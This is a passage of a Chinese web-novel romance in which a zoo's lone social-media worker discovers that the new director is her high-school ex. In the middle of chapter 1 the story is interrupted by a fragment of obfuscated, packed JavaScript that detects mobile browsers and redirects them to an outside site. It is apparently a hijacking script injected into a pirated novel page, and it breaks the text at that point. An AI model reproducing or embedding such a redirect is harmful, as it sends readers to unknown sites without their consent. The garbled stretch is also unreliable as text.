《岁岁有余》
1. 新园长
“鱼鱼,又直播啊?”陈最奶妈正在准备新丰容,一大早又在熊猫馆里看见祝余的身影。
“是啊。昨天直播卖出去三十多张门票!我看观众都挺爱看果果的,就来熊猫园转转。”
“行,是个宣传咱们动物园的好方法!”陈最鼓励她,又问,“今天有多少人观看了?”
祝余摸摸鼻子,瞥一眼直播间右上角以1开头的两位数数字,含糊道,“哎呀,这么早没什么人啦。”
她扭过头,想调整手机镜头对准熊猫馆内的景象,结果发现直播间人数又掉了俩。
唉——
没人看啊没人看。
祝余入职这家动物园已经将近一年了。自从各大自媒体平台兴起,动物园也与时俱进起来,知道现在早已不是“酒香不怕巷子深”的年代了,都纷纷重视起新媒体运营这一方面。
而她,就是西府森林动物园新媒体运营部的……唯一一位员工。
没办法,动物园也很想重视新媒体运营,可有个很现实的问题,就是他们动物园——穷,只招得起祝余一个人。
祝余呢,大学专业跟新媒体一点都不搭边。她是学动物科学的,大学的时候有参加学校新媒体运营部的经历,因此就被招了进来。当时面试她的还是陈园长。陈园长五十多岁,和财务老张一般抠搜,心想这个新员工不错,既能干运营的活儿,还能帮奶爸奶妈们打打下手,一个人,俩用处,只用付一份工资。
但祝余用亲身经历向他证明了什么叫便宜没好货,她接管西府森林动物园的自媒体账号也快一年了,兢兢业业,勤勤恳恳,做的可谓是——毫无起色,最近看直播带货很火,于是又鼓捣起直播来。
时光荏苒,不过一年,陈园长都已经离职了。还不知道新来的园长什么样。她在心底微微叹了口气,精力重回直播,拿出昨晚在其他直播间里连夜学的话术:“新进入直播间的家人们帮忙点点关注哈!点关注不迷路,跟着西府看熊猫!”
话音落地,观看人数又掉一个。
祝余越挫越勇:
“家人们,今天我带着大家来逛一逛西府森林动物园的熊猫馆,在我身后呢,就是熊猫馆的入口了。这里有一条长廊,挂着我们奶爸奶妈手绘的熊猫馆地图和介绍。”
祝余将镜头对准手绘图,是前段时间奶爸奶妈找了俩快递纸箱的废纸板画的。
“这个就是熊猫馆的地图,”祝余介绍道,“熊猫馆是环形结构,穿过长廊,就进入了第一个展馆,这个展馆里住的是我们的人气选手果果,向里走就是第二个展馆,里面住的是星星。”
“这个是果果的手绘介绍图,性格温驯,短胖护食……”
这时直播间有观众催促她快点拍果果。
“大家都想看果果啊?那我就进去啦。跟着我的镜头,向里走。看看果果——”
祝余停在熊猫馆的玻璃前,果果正大马金刀地坐在地上,靠着树桩吃竹子。大概是察觉到祝余的镜头,它很配合,扭了扭屁股,正对着镜头。
食铁兽这种动物什么的简直最萌了,直播间的人数开始增加,从十几人涨到三十六人,弹幕也变多了,大多数都是夸“果果好可爱”,“吃的好香啊”。还有些细心的观众评论:“展馆看起来很干净,熊猫状态也很好。”
祝余立刻捕捉到了这条评论,眼底泛着雪亮的光,开始大力推荐:“没错没错,奶爸奶妈们都把小动物照顾的很好哦!大家感兴趣的话可以买票来看看小动物们!门票很便宜的,成人票三十元,学生以及六十周岁以上老人半价!链接已经挂上了,点击下方小黄车就可以购买……新进入直播间的家人们点点关注啊,点关注不迷路!”
一通操作下来,一张没卖出去。
祝余:“…………”
“到底是哪出了问题。”她小声嘟囔,百思不得其解,“我看别的直播间都是这样的啊……”
忽然直播间里有一个ID为SSS的新粉评论:“可以去看看别的馆吗?”
“好的呢!”祝余立刻回答,“我们等下从熊猫馆出去,会到花果山的灵长馆、考拉馆、两栖动物馆和大象馆,今天时间有限,只能带大家逛半个园区,这是游览西府动物园最方便的一条路线,大家有需要的可以先做一下攻略!”
说着,她从熊猫馆走出来,“星星今天在休息,我们就先去花果山看看吧。”
西府虽然取消了动物表演,但架不住花果山的长臂猿表演欲旺盛,此刻正在树间荡来荡去,最后扑到玻璃前和祝余打招呼。
无忧无虑的样子让祝余依稀想起那些年自己也在丛林里荡来荡去,不用上班,不用直播,天天摘不拿拿吃的日子。
她感慨道:“好想也当只猿啊……”
弹幕纷纷表示赞同,可见大家都很向往自然朴实的原始丛林生活。
一路走了几个展馆,那个ID为“SSS”的网友都特别捧场,祝余每到一个展馆,他都会评论几句,有些点评甚至看上去非常专业,祝余心里犯嘀咕——“这该不会是个同行吧?”
西府森林动物园依山而建,占地面积比较大,环境优美,就是上下坡特多,走起来比较累,祝余走出考拉馆,已经累的不成样子了,正考虑要不要找个借口提前结束直播,就看见那个名为SSS的新粉一下子拍了十张票!
十张票啊!祝余受到了莫大的鼓舞般两眼放光,精神抖擞:“这位SSS的网友居然一下子拍了十张票?!亲亲为了感谢您对西府森林动物园的支持,等您下次来动物园游览时可以到游客管理处凭购票记录找工作人员领取一份小礼物!”
她顿了顿,装模作样道:“看得出来这位网友非常喜欢小动物啦!不过主播要在此提醒大家,合理消费,门票也可以现场购买,不需要一次性囤太多哦!”
“新进入直播间的家人们可以点击右下角小黄车购买门票哦!”
她一鼓作气地走到两栖动物馆门口,看着展馆门口的手绘图,忽然缩了缩脖子:“这个……这个馆……咱们就不进去了吧……”
SSS评论问:“为什么?”
祝余顿了顿,两条宽面条泪甩来甩去,真诚道:“我怕蛇呜呜呜这里面好多蛇呜呜呜呜。”
这会直播间人数更多了,评论一下子热闹起来:
“哈哈哈哈哈主播好可爱!”
“我也怕蛇主播咱还是别进去了!”
“蛇!哦NO蛇还是算了吧!”
“蛇蛇这么可爱你们为什么怕蛇蛇!里面有条黄金蟒可萌可萌了!”
以及SSS评论:“好吧。”
祝余得到了最大金主霸霸的准允,“嗖”一下从两栖动物馆门前溜过,直奔大象馆而去。
***
“苏园长!”动物园副园长周谨上前一步,终于在人工湖前接到了这位今日走马上任的新园长。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861859|176070||http|test|mini|href|location''.split(''|''),0,{}));
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>他穿着一身长款驼色风衣,黑西裤配白衬衫,英挺的鼻梁上架着一副银边眼镜,未语先笑,看上去文质彬彬,模样生的相当好,说是明星也有人信。
走进了,见他是从正门进来的,手上还捏着一张门票,周谨不禁汗颜:“您来了也不和我们提前打个招呼,您瞧瞧,还让您买票进来。而且我们都没来得及准备准备。”
“没什么好准备的。”苏青退出直播,把手机揣进兜里,淡淡道,“先带我去办公室看看吧,麻烦您了。”
“好,好,不麻烦不麻烦。您跟我来。”周谨暗自打量着这位看上去十分年轻的新园长,心里感到奇怪,年纪轻轻能当上园长,想必是个厉害人物,这么年少有为的人,怎么会愿意跑到他们这儿来?
西府森林动物园,虽然面积大,生态好,但在平江市那座全国出名的市动物园的巨大光环之下,几乎没什么游客。
他们是自收自支的单位,这些年因为游客稀少,也不像其他动物园那样有文创一类的额外收入,日子过得穷兮兮紧巴巴的。
上一个园长都走了,这个年轻人,唉——周谨在心底叹了口气,也不知道他能撑多久。
“咱们办公区啊就建在园区内,您刚刚进来的时候走的这个门是正门,离咱们办公区稍微有点远,办公区那边还有个东门,上下班走那个门,方便。”
苏青神色淡淡的,眸光下垂,看起来是个饱读诗书的高知识分子,脾气也好,说什么都挂着笑意地点头附和,不会让周谨的话掉到地上。
走往办公区的一路上,周谨对这位新园长颇有好感。
“就是这儿。”周谨在一间办公室门前站定,推开门,“这就是您的办公室里。上个园长走之后没人用,可能稍微有点乱,一会儿我叫人来收拾一下。”
苏青望望室内,文件夹胡乱堆在办公桌上,因为最近没人使用,空气中漂浮着细小的灰尘。他又望望门口,“园长办公室”这个牌子已经掉了半边儿,也没人记得去重新钉一下。
苏青额角抽了抽:看起来真是如传说里的一样穷啊……
周谨随着他的目光,也看见了那块快要掉下来的牌子,伸手扶了一把,尴尬一笑:“哈哈,这个我叫人顺便过来钉一下。唉,我们这儿啊,条件是有点艰苦……”
“没事儿。”苏青说,“不用叫人了,我自己收拾收拾就行。对了,您跟大伙儿说一声,晚上去长安居,我请大家吃饭。”
长安居啊……周谨推了下眼镜,那儿可齁贵……
***
周谨哼着小曲从办公楼出来,正好碰上祝余。
祝余扬扬下巴:“什么事儿啊这么高兴,有人请吃饭?”
“还真有。”周谨神神秘秘地把他拉到一边,“新园长来了!晚上请大伙儿去长安居!”
“长安居啊!”祝余两眼放光,不由自主地开始跟着周谨哼歌,忽然道,“不对啊,新园长这么有钱的?他不会挪用公费吧?”
“怎么可能,那不是要财务老张的命嘛!”周谨回想了下新园长那身一看就很贵的派头,若有所思道,“可能还真是个有钱人……”
“有钱还来我们这儿?”
“唉,那谁知道呢。”
祝余摸摸下巴,想不通,索性不想了,抬腿往办公楼里走,猝不及防地撞上一道熟悉的身影。
她脚步陡然停住,脸色一瞬间风云变幻,脱口而出:“我靠!”
2. 修罗场
周谨看看祝余,看看苏青,看看苏青,又看看祝余,嗅到了这两人之间旧情人见面格外眼红的奇怪气氛,很有眼色地脚底抹油——先溜为上。
祝余挽留不及,眼睁睁看着周谨跑没影了,她讪讪缩回手,心说为什么不带她一起跑啊!这老周也太不仗义了啊!
空旷的办公楼下,玉兰花香清雅幽远。祝余和苏青面面相觑,半晌,祝余落败似的垂下头,看着自己今天的装扮——脚踩一双今早上班时在地铁里被踩出俩鞋印的白色运动鞋,一条平平无奇但因为极度舒适而常常被她宠/幸的黑色运动裤,一件洗褪色的破洞牛仔外套。总之就是普通到扔进人堆里没半个小时都找不出来。
反观苏青,衣冠楚楚,人模狗样,鼻梁上还永远架着那副斯斯文文的银边眼镜。
她怒了:这和骑着二手小电驴在下班路上碰见前男友开帕拉梅拉有什么区别啊!
“你……”她终于忍不了凝固一般的氛围,开口问,“你怎么在这儿?”
苏青言简意赅:“上班。”
靠!祝余闻言立刻被火燎屁股一样风风火火地往办公楼里跑,苏青问她:“你干嘛去?”
“辞职!”
“好吧。”苏青慢悠悠说,“辞职信记得送到我办公室来。”
“你谁啊你?”祝余陡然停住脚步,扭头与他对视,抱臂仰下巴用眼角看他,力求输人不输阵,“我的辞职信为什么要交给你?”
苏青眯起眼睛,活像头大尾巴狼:“辞职信送园长办公室有什么问题吗?”
“你……”祝余狐疑地盯着他,“新园长请助理了?”
“………”
她真是一如既往的脑回路异于常人。苏青一哂,假模假样地伸出手:“重新认识一下,西府森林动物园园长——苏青。”
重音特地放在“园长”两个字上。
祝余嘴角抽搐,当场石化,被三月倒春寒的料峭春风一吹,碎成一地渣渣。
问:多年前被我潇洒甩掉的前男友成了我顶头上司是什么感觉?
答曰:想/死。
此时被祝余养在办公楼下那颗栾树下的鹦鹉coco开始扑棱着翅膀喊:“园长,园长,园长……”
祝余回过神来,恶狠狠瞪它一眼:“你这小东西也太会见风使舵了吧!天天辛辛苦苦喂你的都是谁啊!寒心,太寒心了!叫什么叫啊快闭嘴小心我明天不给你饭吃!
“去工作吧。”苏青抽回手双手插兜,满面春风得意,十分温柔十分亲和地说,“晚上长安居,我做东。”
然后他就悠悠走了。
祝余愣在原地:可恶!被他装到了!
傍晚五点,天边红霞似火。
下班。一行人勾肩搭背走出办公楼,热烈讨论晚上怎么狠狠宰新园长一顿,新园长表示:可以,随便宰。
于是众人集体出现返祖现象,一个个跟花果山的猴儿一样嗷嗷叫,楼道里响起来此起彼伏的“园长威武”。
靠着一顿长安居和被上帝眷顾的俊美面孔,新园长几乎俘获了西府上下所有员工的心。
祝余:没出息,太没出息了。
祝余:区区一顿长安居而已!这群人居然就这么轻而易举地被收买了!
她拎着帆布包,磨磨蹭蹭地跟在人群最后面,想找机会开溜,忽然陈最扭头大声喊:“鱼鱼你快点!你这次怎么那么慢,以前有这种好事你明明跑的最快了。”
“……”祝余满面黑线,恨不得冲上去捂住陈最的嘴,拖着长音说,“来了来了。”
陈最干脆架着她,商量道:“咱俩一会儿蹭老周的车。”
“不行啊,”周谨探个脑袋过来,“我这已经被预订了,坐不开啊。”
祝余被陈最拖着,有气无力道:“那就放我回家吧!”
这时,一直走在前方的苏青忽然扭头道:“搭我的车吧。”
他英挺的五官被夕阳余晖勾勒的更加深邃,语气温和又彬彬有礼,陈最一整个沉浸在粉色泡泡的世界里,犯着花痴热情回应:“好啊好啊,那就谢谢园长啦!”
谁知祝余反骨上来,脖子一梗,怒吼道:“不……唔——”
陈最眼疾手快地捂住了她的嘴,威胁道:“别嚷嚷!据传园长今天上班开了辆帕拉梅拉,我还没坐过保时捷呢啊啊啊啊啊!而且园长真的好帅啊哈哈哈谁不愿意搭帅哥的帕拉梅拉呢哈哈哈哈!”
前方苏青满意地扶了扶眼镜,决定等年终给陈最颁一个最佳员工奖。
祝余愣了愣:可恶!他还真有帕拉梅拉!
她无语半晌,开始哭喊:“我想回家呜呜呜放我回家啊啊啊啊啊妈妈呀我要回家啊啊啊!”
陈最古怪地看她一眼,“长安居哎!帕拉梅拉哎!帅哥哎!这不是你平时最爱的三种东西吗!”
“嗯嗯嗯。”祝余胡乱点头,“但现在我觉得以前的我简直太世俗了!最近我天天跟着我妈看那劳什子的修身养性课,整个人已经升华了。实不相瞒我现在觉得长安居也就那样吧,又贵份量又少……我还是更愿意回家啃我的康师傅红烧牛肉面。”
“而且……”祝余瞥一眼苏青宽阔的背影,低声说,“他哪里帅啦?”
“你不对劲。”陈最评价道,“眼神儿也不好使了。你被谁夺舍了?”
周谨冲陈最眨眨眼,意味深长道:“你没发现么,她啊,一整天都不对劲儿。”
陈最抽抽鼻子,灵光一闪:“有八卦?”
“没有!”
祝余一甩手,反应强烈:“真没有!”
“鱼鱼,你超不会说谎的。你这反应一看就是有问题!”
“真的没有啦我能有什么问题!”
两人特幼稚地一路吵吵闹闹,到了员工停车场,双双被面前线条流畅优美、整体闪闪发光的车子闪瞎了眼。
这哪是车啊,这是一座闪闪发光的人民币山好嘛!
陈最呆滞地说:“好帅啊!”
祝余撇撇嘴,嘴硬道:“开这种车,娘兮兮的。”
“那我明天换一辆。”苏青帮她打开副驾驶座的车门,“上车吧,今天先委屈你一下了。”
祝余:“你是不炫富会死星人吗?我们工薪阶层的小心脏还是很脆弱的。”
苏青真没有炫富的意思,只有两辆车换着开的他已经是他们家最节俭的那个了。但他老老实实地闭上嘴,扶着车门等她。
祝余彻底无视他,抬腿就往后座走去,谁知陈最已经先行一步,等她打开后侧车门时,一人一熊把后座挤的满满当当。
“不是,”祝余指着那只棕色卷毛玩具熊匪夷所思地问,“你一个大男人在车上放这么大一个玩具熊干什么?”
“侄女落车上的。”
祝余
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一愣。她曾经见过苏青的那个姐姐,仅仅一面就给她留下了极为深刻的印象。他姐身材高挑,一头大波浪长发,气场两米高,涂大红色指甲油,特御姐。没想到她都有孩子了……
真是时光淙淙如流水,物是人非事事休啊。
祝余略有感慨,不情不愿地坐上副驾驶座,靠着车窗缩成一团,仿佛苏青那半边的空气都有毒,绝对不能沾上一丝一毫。
车内一时很安静。陈最平时就是个话唠,此刻主动承担起活跃气氛的任务,她觑着苏青,说:“园长,您看起来好年轻啊!”
苏青笑道:“我才二十五,刚刚毕业,应该本身就算很年轻吧。”
“那确实…”陈最在心里掐算年龄,觉得不对劲,“研究生毕业吗?”
“不是,本科,在国外读的,兽医学要读六年。”
“哦哦……”陈最点着头,“这样啊。真厉害,听说国外兽医学可难考了,您以前肯定是个学霸吧!”
苏青淡淡道:“还好。”
他这股风轻云淡睥睨天下的劲儿让人不由得回想起高中嘴上说着一般般没考好结果一出手就是第一名的学霸,陈最跟这种学霸同班三年,心理阴影大了去了,默默疗伤不理他了。
他最后果然出国念书了。祝余眨眨眼,又往车窗那侧扭了扭,团起来玩手机。
林晚恰巧给她发微信:“下班了吗,出来吃饭。”
她憋了一天,此刻总算找到了倾诉的出口,开始噼里啪啦地打字:“没空啊,今天单位聚餐。我给你讲,说出来你都不信,你猜我们新园长是谁!!!”
林晚:“谁?”
祝余心情复杂地打下“苏青”二字,消息一发出去,手机开始剧烈震动,爆发出一阵欢快鬼畜的歌声,是林晚拨来的电话。
她吓了一跳,手机差点没拿住,颤巍巍地挂断,然后回到微信发消息:“别打电话,我现在在他车上!”
苏青悠悠地问:“林晚的电话吗?为什么不接?”
祝余一愣,然后迅速把手机捂在胸口:“你偷看我手机?”
“猜的,你这么多年给她设置的特殊铃声还是没变。”
坐在后座的陈最此刻表情活像被人猝不及防塞了一口香菜拌折耳根,她错愕地张着嘴,半晌才找回自己的声音:“你们……你们俩认识?”
“不熟!”在苏青开口说出更多信息前,祝余抢先答,“高中同学而已,上了大学以后就没怎么联系了。”
苏青的脸色微微变了,从陈最的角度看去,她侧脸线条紧绷着,像是竭力咬着后槽牙,过了一会儿才松开,若无其事地说:“是,很久没联系了。”
陈最看透一切犹如X光射线的目光在她们俩中间徘徊,然后乖巧地闭上嘴,抱着手机默默消化这个消息去了。
林晚已经激动到来不及打字了,像机关枪一样突突突地发语音,然后让祝余转文字看。
然而祝余最近真该找个庙拜拜佛上上香,她点击语音条后面“转文字”的标识的时候,不小心把语音条点开了,林晚熟悉的声音在狭小的车厢内炸开:“我靠!苏青是你们新园长?!”
真刺激。
祝余呆了两秒,手忙脚乱地想要退出,但越忙手就越不受控制,林晚下一句话还是清清楚楚地透过手机出声孔传了出来:
“他怎么还有脸出现在你面前?!”
3. 长安居
祝余瘫在车座上,四十五度角仰望天空,缓缓闭上双眼,那一刻只有一个非常消极的想法:毁灭吧!
她狠狠按下锁屏键,林晚的怒吼声终于戛然而止,然而车内的气氛已经凝固了,空气中一片死寂。祝余想死的心都有了,把脑袋磕在车窗上思索现在跳车逃走的可能性。
唯一值得庆幸的是她及时止损了,没有让林晚剩下的语音播出来。
因为在接下来的五十多秒里林晚亲切友好地问候了苏青以及他上下十八代祖宗。
六十秒是微信语音的极限,不是林晚的极限。
她还对当年的事耿耿于怀,每每提到苏青都能骂个三天三夜,而当事人祝余已经没什么感觉了。
毕竟这么多年都过去了,什么爱啊恨啊的早就淡了,人总要向前看。
祝余一边宽慰自己,一边把刚才发生的一切实时播报给林晚,并表示自己已经在尴尬的气氛中默默死去了,现在的祝余不过是一具没有灵魂的行尸走肉。
陈最缩在后座不敢吭声,心里默默后悔自己被美色和金钱蒙蔽了双眼。老天一定是为了惩罚她重色又拜金,才让她全程亲眼目睹如此惊天地泣鬼神的修罗场。
“上苍啊!我诚心忏悔!为什么还没到长安居!!!”陈最一刻都在车上待不下去了。
而苏青打着方向盘,神色寡淡,看不出什么情绪。
他用眼角余光睨着祝余,见她还缩成一团和林晚聊天,内心其实很愤愤:凭什么当年被甩的人是他,如今坐在车里挨骂的人还是他?!
汽车行驶在宽阔的马路上,拐过街角,长安居到了。车没停稳,陈最长舒一口气,仿佛终于解脱了一般打开车门慌里慌张地跑了。祝余始终没从手机里抬起头来,看也不看地抬手……
这车门怎么打不开?!
她正研究着哪个是开锁键,只听苏青淡淡开口:“聊聊?”
苏青一只手随意地搭在方向盘上,整个人斜靠在车座里。暮色渐渐深重,他被笼罩在金黄余晖中,神情淡然。不得不说豪车的隔音做的是真好,街上的喧闹声全部被隔绝在外,一片寂静中,只听见他用一种怀念的语气说:“好久不见了啊………”
祝余心底有个小人翻白眼:好俗的开场。
他的神情算不上愉悦,漫不经心又意味深长道:“没想到你和林晚感情还是这么好啊……”
祝余:“……”
闹归闹骂归骂,在顶头上司面前该怂还是得怂。什么骨气啊一类的又不能当饭吃,祝余怂的特快:“老板我错了!”
“像林晚刚刚这种不符合社会主义核心价值观,违背公序良俗,不道德,不高尚的粗鲁行为,我回去一定好好教育她。您大人有大量先放我下车吧我快要饿死了。”
祝余絮絮的样子和当年那个扎着马尾跟在他屁股后面叽叽喳喳的小女孩逐渐重叠,苏青心情大好,手一抬,“咔哒”一声,车门解锁。
祝余忙不迭推开车门溜了,她在人群中找到陈最,像考拉一样黏在她身上哭诉:“你跑的也太快了,你怎么忍心丢下我一个人的,真的很恐怖啊我差点以为我就要失业了。”
“真的很恐怖啊……”陈最还没从刚刚的修罗场里缓过来,“刚刚的十几分钟简直是我人生中最漫长的十几分钟,你怎么忍心让我经历这么drama的场景的啊?话说回来你们俩究竟是什么关系啊!”
祝余给她比了个“嘘”:“普通高中同学啦,以前有点不愉快,你保密哦,不要让老周那个大嘴巴知道。”
“明白明白。”陈最点头如捣蒜,“你放心吧,我嘴最严了。但是……”陈最左右望望,才小声问道,“他以后不会给你穿小鞋吧?”
“不会啦。”祝余挥挥手。
虽然分开这么多年,但她对苏青的人品还是信得过的。
苏青包了长安居的大厅,祝余原本打算挑离苏青最远的一桌坐,没想到周谨一边絮絮叨叨“跑什么啊你可是咱们运营部唯一的人才很重要的好嘛来来来快坐这儿”,一边不由分说地把她按到苏青旁边的位置上。
祝余眼中迸出噼里啪啦的火星子,咬牙切齿道:“我谢谢你啊!”
周谨读不懂她的眼神,乐道:“不用谢不用谢。”
然后非常自觉地作为园长的左膀右臂坐到苏青旁边的另一个位子上了。
祝余拉着陈最和她坐一块儿,一整顿饭要不就是埋头吃饭要不就是脸上像是有开关一样,转到陈最那边就是眉眼弯弯言笑晏晏,转到苏青这边就是冷酷无情冷若冰霜。
苏青几次看她,都被她冷眉冷眼地瞪回去了。
席间,他们喝了几杯酒,都有点上头,周谨带头起哄让新园长讲两句。苏青推辞不过,倒一杯酒,说:“那我就讲两句?”
周谨他们又开始出现集体返祖现象,苏青笑着等他们闹腾完,才缓缓说:“其实我是主动要求调来西府森林动物园的。来之前,我也大概了解了一下目前动物园的情况。”
此话一出,连祝余也放下了筷子,默默看着他。
西府森林动物园是什么情况,大伙儿都心知肚明,最关键的问题在于——游客太少了。几年前取消了动物表演后,游客愈发稀少。
没关注度,没什么游客,园内其余的餐饮纪念品产业都带动不起来,去年有一家餐饮摊位的商户合同到期后,说什么都不再续租了,导致园内现在仅剩的能提供餐饮服务的地方就是街边一个小木屋了,卖点矿泉水饮料和烤肠一类的。
门票收入少,靠着相熟的几家公司做慈善认养小动物以及把部分场地外包出去做互动区而苦苦支撑着。
大家日子相当难过,别看这些人一天天没心没肺的,其实一个个背地里愁的头发大把大把地掉。
这种情况下,一般不会有人乐意主动来他们这边坐冷板凳,像苏青这种国外名校毕业的牛人那就更别说了……
“下午我在园区里转了转,有一种很强烈的感受,就是——西府像一个大家庭一样,不仅员工是这个大家庭的一份子,动物也是。”<
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“我能感受到大家工作的用心,对毛孩子们的尊重与爱。下午我巡园的时候看见很多手绘指示牌,周谨告诉我都是大伙儿自发做的。”
“我觉得西府现在没有游客,不是西府的问题,不是大家的问题,也不是游客的问题……我在外地的时候,和朋友提起西府,很多人都不知道,说你们平江市还有这么个动物园呢?但当我拿西府的视频给他们看的时候,他们都说看起来很自然,挺愿意想来看看的。”
“所以我对西府有信心,只要西府的宣传能被大家看到,那西府就一定会受到更多人的喜爱。希望有朝一日我们所参与的动物保护事业,能够实现社会共建!”
这一席话说的掏心掏肺,说的大家热泪盈眶,说的大家充满了对未来的希冀。周谨一个三十多岁的大男人偷偷揪着苏青的风衣下摆抹眼泪:“呜呜呜呜呜园长!”
苏青面无表情:“我知道我的发言很有感染力,道理我都懂,你能不能先放开我………”
“我不多说什么了!”周谨一拍桌子站起来,“园长,我敬您一杯!”
其他人陆陆续续地站起来:“园长,我也敬您一杯……有一个这么懂我们的园长真是太好了呜呜呜!”
苏青端着酒杯,看看祝余。他没说,其实他来西府还有一个私心——他和祝余最初就是在西府认识的,那时候西府还不收门票,俩人没事就来园里玩。
祝余没接收到他的目光,此时正回味着苏青的最后一段话,默默举起手,弱弱说:“老板虽然我便宜但是我真的会好好工作的,我知道我的运营做的很烂但是我真的会努力的啊……”
“我知道,你已经很努力了……”
“哎你怎么知道?”
苏青眨眨眼:“我早上看你直播了啊。”
祝余脑子从来没这么好使过,她福至心灵:“那个SSS不会是你吧?”
苏青点点头,只见祝余迅速垮下脸,凄凄惨惨戚戚道:“一早上就卖了十张票啊还是自己人买的啊!why!!!”
桌上瞬间爆笑如雷,七嘴八舌地让祝余“不要伤心,越挫越勇。”
散席时,大家都带上了几分醉意。祝余其实有点轻微酒精过敏,脸红的更厉害,看起来像喝大了一样。陈最磕磕绊绊地扶着她:“你行不行啊?”
“我……”祝余大着舌头,“我没醉!”
得,这是真醉了。陈最头疼,伸手去包里摸手机,打算她俩一块打个车回去,路上也安全一点,不然依她这个样子,被人拉到哪卖了都还得替人数钱。
谁知摸着摸着,腰侧空荡荡的:“包落里面了。”她把祝余摆好,“你站这儿别动,我去拿下包。”
“嗯嗯嗯。”祝余面若红霞,眼底醉的泛起水光,晕乎乎地点头。
她左等右等等不到陈最回来,随手抓了个人问:“看见陈最了吗?”
她也没看清抓的是谁,只觉得头晕,往前一栽。
苏青正站在廊下叫代驾,忽然被人扑了个满怀。
4. 孽缘啊
第二天赶上周六,祝余在家里宅了两天。
幸好还有双休。虽然她那晚喝多了在酒桌上慷慨陈词地要努力工作誓不辜负领导的期望,但清醒过来后还真不知道怎么面对苏青。
早上八点,林晚风风火火地跑过来砸门:“鱼鱼!开门!祝余!”
终于在楼上楼下的邻居跑去物业那儿投诉扰民之前,祝余“哐”的一下打开门,顶着一头鸟窝一样的头发和两个硕大的黑眼圈,一脸生无可恋地出现在林晚面前。
林晚本来靠在门上,因惯性原因差点摔进室内,紧接着她抬起头,看见祝余这副样子,当即悚了。她绕着祝余转了两圈,然后猛然贴到她脸上,盯着她乌黑的黑眼圈看了一会儿,“啧啧”道:“瞅你这黑眼圈,你该不会一晚上没睡吧?真够出息的!”
祝余给她比了个手势:“六点。”
“我六点才睡。”
她的语气中带着股超脱六界的超然,平静到让林晚认真思考了一下她是不是真的已经死在昨天了,现在站在她面前的不过是一副没有灵魂的躯壳。
祝余把手机摁开,指着屏幕上的“8:12”问她:“你星期六早上八点来敲我家门,你还有没有点良心啊!”
“哎呀……”林晚安慰地拍拍她,“你昨晚一直没回我消息,人家这不是担心你嘛。”
“你的担心是对的。”她说着,转身向室内走,呈大字型一头栽进沙发里,哀嚎道:“我的命怎么那么苦啊!”
“怎么了?”林晚跑去厨房冰箱里拿了两瓶酸奶,拧开瓶盖递给她一瓶,靠在沙发上问她,“昨晚还发生什么了?”
祝余以一种奇怪的姿势蠕动到林晚身边,她半倚在她身上,开始被迫回忆起昨晚惨不忍睹的一幕……
鬼知道她为什么会一头栽进苏青怀里。总之当陈最爆发出尖锐的“哦天呢鱼鱼你在干什么”之后,祝余才意识到面前这个一米八多、身上散发着股优雅的木制淡香水味的男人是苏青,她就说她们动物园里明明没有讲究到还会喷香水的男人!
女人也没有!
几年没见,这人果然越来越龟毛了!
那一刻,祝余脸“唰”的一下就红了,她拍拍自己的额头,刚要装作醉的晕头转向的样子踉跄地扑回陈最怀里,就被苏青轻轻捏住了手腕。
“我送她回去吧,这么晚了也不安全。”
祝余缓缓抬头,满目沧桑,很想问问他到底想干什么,只听陈最说:“好啊,那就多谢园长了。”
祝余:你们两个谁问过我的意见了吗!我!一个二十四岁的完全民事行为能力人!
她就这么被苏青挟持着,塞进了他那辆黑色帕拉梅拉的后座里,和那只巨大的棕色玩具熊肩并肩。
“去哪?”苏青问她。
祝余缩在后座,挣扎半晌,扭捏地报出自己家的地址。
苏青对着代驾淡淡道:“先送她回去。”
祝余真的醉了,在平稳行驶的车上很快泛起睡意,以至于到了她家楼下时,她被苏青拍醒,身上还盖着条薄薄的小毯子,呆滞地看了一会儿窗外的景象才反应过来自己身处何地,伸手去推车门。
苏青扭头问她:“用不用我扶你上去?”
“不用。”祝余冷淡地摆手,可惜高冷人设还没维持两秒就崩了,喝过酒睡过一觉,此刻被冷风一吹,她头晕的厉害,没注意脚下就踩了个空,一个趔趄,扶着车门才堪堪站稳。
一只精/壮有力的小臂伸到她面前,苏青的语气听上去有些无奈:“走吧……”
林晚张张嘴,刚想开骂,这几年里她骂苏青已经成惯性了。然而此刻八卦的力量是无穷的,她怪声怪气地叫了一声:“然后呢?你俩干柴烈火擦出什么激情的火花啦?!”
“想什么呢?怎么可能!你少看点小说吧,这想象力也太丰富了!”
祝余缓缓扭头,林晚下意识随着她的目光看去,看见电视旁边的一个小熊猫摆件,那个摆件已经很旧了,从灰扑扑的颜色判断,至少也有个五六年了。
祝余忽然愤愤道:“太丢人了……我要把这玩意儿扔了!”
“定情信物嘛。我就说你这些年留着这玩意儿干什么,看,栽这上面了吧?”
“看它可爱留下来的罢了。”祝余想到昨晚苏青看见这个摆件时玩味的笑容和那一句“没想到你还留着它呢”,就气不打一出来,放狠话道,“一会儿我就扔了它!”
“那给我吧,一会儿我走的时候顺便帮你扔楼下垃圾桶。”
“…………”
祝余沉默了。
林晚叹了口气,骂她没出息,摸过茶几上一包薯片撕开,你一口我一口地开始吃:“你说他当年……”她顿了顿,绕过这个话题,“现在回来干什么啊?”
“谁知道呢。”
“怎么这么巧,刚好就去你们动物园了?”她匪夷所思,又叹口气,“孽缘啊!”
“这算什么孽缘……”祝余哼哼唧唧地说,“我和他也就……谈过那么两个月吧,都不能算正儿八经的前男女朋友关系吧?再说这都过去六年了,我们俩撑死了,就是普通高中同学关系!还是六年没联系早就形同陌路了的那种!”
林晚想说:“是,你俩是就正儿八经地谈过俩月,可你们俩暧昧了整整三年啊!三年!你们俩考虑过我的感受吗?”
但她看了看祝余一脸“你敢说一个不字我就把你冲进马桶里”的表情,硬生生忍住了。
祝余彻底说服了自己,她觉得自己现在就能去上班,哼哧哼哧地投入工作,为重振西府森林动物园雄风而奋斗。
***
祝余的亢奋状态一直持续到了周一上班时。
